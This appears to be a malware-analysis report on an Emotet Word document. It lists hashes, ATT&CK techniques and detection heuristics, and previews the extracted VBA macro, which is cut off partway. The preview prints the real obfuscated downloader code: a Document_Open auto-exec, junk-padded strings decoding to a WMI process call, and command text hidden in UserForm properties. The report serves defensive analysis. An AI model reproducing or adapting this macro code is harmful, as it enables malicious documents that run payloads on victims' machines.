Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 20ee5382fee50f98…

MALICIOUS

Office (OLE)

234.6 KB Created: 2020-08-17 13:43:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: e502b6d38586f2373c7190413984a935 SHA-1: 3c7a28ad7927cb15be18cda9cd6eb06531bab739 SHA-256: 20ee5382fee50f9847489dd9d4d0a553d26b84abcbf72d83cb57f3306c8349e2
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of malicious activity. The ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-9369624-0', strongly suggesting Emotet family. The macro's obfuscated nature and use of CreateObject point towards a downloader attempting to execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9369624-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9369624-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10077 bytes
SHA-256: 6b0e0e4cd2284938322276e5b0fd38246b6fd18d0792e05e2707e33d5fb902ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wrbgifj4ov1azw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
A_4tf4y8dm1zahn2t5.Agr6ku__ylexi
End Sub


Attribute VB_Name = "A_4tf4y8dm1zahn2t5"
Attribute VB_Base = "0{86615774-0DC2-49A9-BDA6-D3FB5D90EBF6}{31C674E1-B549-48EA-86E7-B55914EEF8E2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Agr6ku__ylexi()
   If 791639 <> 777579 Then
Juhc42b6h1p = 791639 + 1989
Aoss1qdxkwpyym5 = 777579 - 2013
Else
InputBox (CStr(Juhc42b6h1p) & CStr(Aoss1qdxkwpyym5))
End If
Aoss1qdxkwpyym5 = "KAjamLNcTV"
H9iz9xjtppd_t = 623691
Ot10r9j9s9pap3srfi = Ot10r9j9s9pap3srfi & CStr(H9iz9xjtppd_t)
Cflxo8q6xakuxrd4 = Ot10r9j9s9pap3srfi
Zvh0cxzd6b268l_f = A_4tf4y8dm1zahn2t5.HelpContextId + 100
   If 791639 <> 777579 Then
Juhc42b6h1p = 791639 + 1989
Aoss1qdxkwpyym5 = 777579 - 2013
Else
InputBox (CStr(Juhc42b6h1p) & CStr(Aoss1qdxkwpyym5))
End If
Aoss1qdxkwpyym5 = "KAjamLNcTV"
H9iz9xjtppd_t = 623691
Ot10r9j9s9pap3srfi = Ot10r9j9s9pap3srfi & CStr(H9iz9xjtppd_t)
Cflxo8q6xakuxrd4 = Ot10r9j9s9pap3srfi
V3lf78vu1ci = ChrW(Zvh0cxzd6b268l_f + (100 + 35) / 9)
   If 791639 <> 777579 Then
Juhc42b6h1p = 791639 + 1989
Aoss1qdxkwpyym5 = 777579 - 2013
Else
InputBox (CStr(Juhc42b6h1p) & CStr(Aoss1qdxkwpyym5))
End If
Aoss1qdxkwpyym5 = "KAjamLNcTV"
H9iz9xjtppd_t = 623691
Ot10r9j9s9pap3srfi = Ot10r9j9s9pap3srfi & CStr(H9iz9xjtppd_t)
Cflxo8q6xakuxrd4 = Ot10r9j9s9pap3srfi
Kzxx_cm_617l = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + V3lf78vu1ci + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + A_4tf4y8dm1zahn2t5.Tmy05q7rixur0cwkvp + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Juhc42b6h1p = 791639 + 1989
Aoss1qdxkwpyym5 = 777579 - 2013
Else
InputBox (CStr(Juhc42b6h1p) & CStr(Aoss1qdxkwpyym5))
End If
Aoss1qdxkwpyym5 = "KAjamLNcTV"
H9iz9xjtppd_t = 623691
Ot10r9j9s9pap3srfi = Ot10r9j9s9pap3srfi & CStr(H9iz9xjtppd_t)
Cflxo8q6xakuxrd4 = Ot10r9j9s9pap3srfi
Skha9o4o35tbpmgvba = Pln542y6v52_ps1n0(Kzxx_cm_617l)
   If 791639 <> 777579 Then
Juhc42b6h1p = 791639 + 1989
Aoss1qdxkwpyym5 = 777579 - 2013
Else
InputBox (CStr(Juhc42b6h1p) & CStr(Aoss1qdxkwpyym5))
End If
Aoss1qdxkwpyym5 = "KAjamLNcTV"
H9iz9xjtppd_t = 623691
Ot10r9j9s9pap3srfi = Ot10r9j9s9pap3srfi & CStr(H9iz9xjtppd_t)
Cflxo8q6xakuxrd4 = Ot10r9j9s9pap3srfi
Set Q8qfoxupm1xe420en = CreateObject(Skha9o4o35tbpmgvba)
   If 791639 <> 777579 Then
Juhc42b6h1p = 791639 + 1989
Aoss1qdxkwpyym5 = 777579 - 2013
Else
InputBox (CStr(Juhc42b6h1p) & CStr(Aoss1qdxkwpyym5))
End If
Aoss1qdxkwpyym5 = "KAjamLNcTV"
H9iz9xjtppd_t = 623691
Ot10r9j9s9pap3srfi = Ot10r9j9s9pap3srfi & CStr(H9iz9xjtppd_t)
Cflxo8q6xakuxrd4 = Ot10r9j9s9pap3srfi
Crl7daoqj7c6cd = A_4tf4y8dm1zahn2t5.Ctfmmpxszyil1t3be.ControlTipText
   If 791639 <> 777579 Then
Juhc42b6h1p = 791639 + 1989
Aoss1qdxkwpyym5 = 777579 - 2013
Else
InputBox (CStr(Juhc42b6h1p) & CStr(Aoss1qdxkwpyym5))
End If
Aoss1qdxkwpyym5 = "KAjamLNcTV"
H9iz9xjtppd_t = 623691
Ot10r9j9s9pap3srfi = O
... (truncated)